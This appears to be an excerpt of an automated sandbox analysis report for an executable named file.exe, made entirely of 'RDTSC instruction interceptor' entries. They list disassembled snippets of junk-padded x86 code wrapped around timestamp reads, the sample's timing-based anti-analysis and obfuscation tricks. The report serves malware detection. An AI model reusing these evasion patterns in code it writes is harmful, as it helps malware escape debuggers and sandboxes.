Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040FBD second address: 1040FC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE6C4735516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040FC7 second address: 1040FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10410D6 second address: 10410DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10410DA second address: 10410E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045A65 second address: 1045A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE6C4735520h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044EAC second address: 1044EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044EB0 second address: 1044ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FE6C4735516h 0x0000000d jmp 00007FE6C4735525h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044ED3 second address: 1044F0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FE6C5005F90h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FE6C5005F8Dh 0x00000011 jmp 00007FE6C5005F92h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045046 second address: 104504A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104504A second address: 1045080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 jmp 00007FE6C5005F93h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f js 00007FE6C5005F86h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045080 second address: 1045086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045086 second address: 104508C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104508C second address: 104509F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE6C473551Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10455DE second address: 10455EE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10455EE second address: 10455F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10455F2 second address: 10455F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10455F6 second address: 1045615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FE6C473552Ch 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007FE6C4735516h 0x00000017 je 00007FE6C4735516h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104CC0C second address: 104CC38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C5005F98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104CC38 second address: 104CC43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D0D8 second address: 104D0F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D0F9 second address: 104D0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D3D0 second address: 104D3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE6C5005F91h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D3E9 second address: 104D3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D539 second address: 104D552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D6ED second address: 104D6F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D98C second address: 104D99B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D99B second address: 104D9A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104D9A6 second address: 104D9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007FE6C5005F8Eh 0x0000000b jmp 00007FE6C5005F90h 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104DADA second address: 104DADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104DADE second address: 104DAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104DAE6 second address: 104DB0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Ah 0x00000007 pushad 0x00000008 jmp 00007FE6C4735526h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054413 second address: 105445E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE6C5005F88h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jo 00007FE6C5005F8Ch 0x00000017 jnc 00007FE6C5005F86h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE6C5005F95h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105445E second address: 1054462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054462 second address: 1054468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10531CA second address: 10531CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10531CE second address: 10531D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10531D4 second address: 10531DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10531DA second address: 10531DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052D66 second address: 1052D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052D6C second address: 1052D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1052D70 second address: 1052D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FE6C4735518h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053ACF second address: 1053AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053AD3 second address: 1053AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1053AD9 second address: 1053AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1057C61 second address: 1057C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C07C second address: 105C0A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Bh 0x00000007 push ebx 0x00000008 jmp 00007FE6C5005F90h 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jo 00007FE6C5005F8Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C0A6 second address: 105C0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C473551Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C0BC second address: 105C0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C5005F8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105AE5A second address: 105AE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FE6C4735528h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102024B second address: 1020258 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020258 second address: 102027A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE6C4735527h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102027A second address: 1020280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020280 second address: 10202FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push dword ptr fs:[00000000h] 0x00000010 sub dx, F727h 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c add edi, dword ptr [ebp+122D1EF4h] 0x00000022 mov dword ptr [ebp+1247FECBh], esp 0x00000028 mov edx, dword ptr [ebp+122D3A4Eh] 0x0000002e cmp dword ptr [ebp+122D39AEh], 00000000h 0x00000035 jne 00007FE6C47355DEh 0x0000003b mov di, cx 0x0000003e mov dx, D2E0h 0x00000042 mov byte ptr [ebp+122D2CFAh], 00000047h 0x00000049 push 00000000h 0x0000004b push esi 0x0000004c call 00007FE6C4735518h 0x00000051 pop esi 0x00000052 mov dword ptr [esp+04h], esi 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc esi 0x0000005f push esi 0x00000060 ret 0x00000061 pop esi 0x00000062 ret 0x00000063 mov eax, D49AA7D2h 0x00000068 cld 0x00000069 nop 0x0000006a push esi 0x0000006b jng 00007FE6C473551Ch 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020700 second address: 1020704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020834 second address: 102088A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FE6C4735518h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 call 00007FE6C4735523h 0x00000027 sub dword ptr [ebp+1244445Bh], ebx 0x0000002d pop ecx 0x0000002e mov dl, B7h 0x00000030 call 00007FE6C4735519h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102088A second address: 1020891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020891 second address: 10208DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jns 00007FE6C473551Ah 0x0000001a push edi 0x0000001b pushad 0x0000001c popad 0x0000001d pop edi 0x0000001e mov eax, dword ptr [eax] 0x00000020 jne 00007FE6C473552Ah 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push edx 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020AF5 second address: 1020B1A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE6C5005F99h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020B1A second address: 1020B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020B28 second address: 1020B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020B2C second address: 1020B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020B32 second address: 1020B88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE6C5005F91h 0x00000012 mov eax, dword ptr [eax] 0x00000014 ja 00007FE6C5005F94h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f jl 00007FE6C5005F88h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10211C5 second address: 102121A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE6C4735518h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2D64h], eax 0x0000002a push 0000001Eh 0x0000002c sbb dx, B1D8h 0x00000031 nop 0x00000032 pushad 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 pushad 0x0000003a jo 00007FE6C4735516h 0x00000040 push edi 0x00000041 pop edi 0x00000042 popad 0x00000043 popad 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push esi 0x00000049 pop esi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102121A second address: 102121F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B312 second address: 105B319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B319 second address: 105B31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B31F second address: 105B33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735525h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B33C second address: 105B345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B4BA second address: 105B4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B4C3 second address: 105B4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B5FA second address: 105B5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B5FE second address: 105B617 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007FE6C5005F86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007FE6C5005F86h 0x00000015 pop edx 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B911 second address: 105B95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FE6C4735520h 0x0000000b jmp 00007FE6C473551Ah 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE6C4735529h 0x00000018 jng 00007FE6C4735529h 0x0000001e jmp 00007FE6C4735523h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B95B second address: 105B979 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE6C5005F98h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105B979 second address: 105B97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105DF3D second address: 105DF6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE6C5005F90h 0x0000000a jmp 00007FE6C5005F8Bh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE6C5005F8Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10612E0 second address: 10612E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10612E4 second address: 10612E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060CD5 second address: 1060CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE6C4735516h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060F71 second address: 1060FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FE6C5005F98h 0x0000000b popad 0x0000000c jmp 00007FE6C5005F95h 0x00000011 jp 00007FE6C5005F8Eh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10673E0 second address: 10673F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10673F6 second address: 10673FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10673FA second address: 1067422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735523h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE6C473551Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067422 second address: 1067428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067428 second address: 106743F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE6C4735523h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10666CE second address: 10666D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10666D6 second address: 10666DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106680F second address: 106681A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066CBA second address: 1066CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066CC2 second address: 1066CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066E36 second address: 1066E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
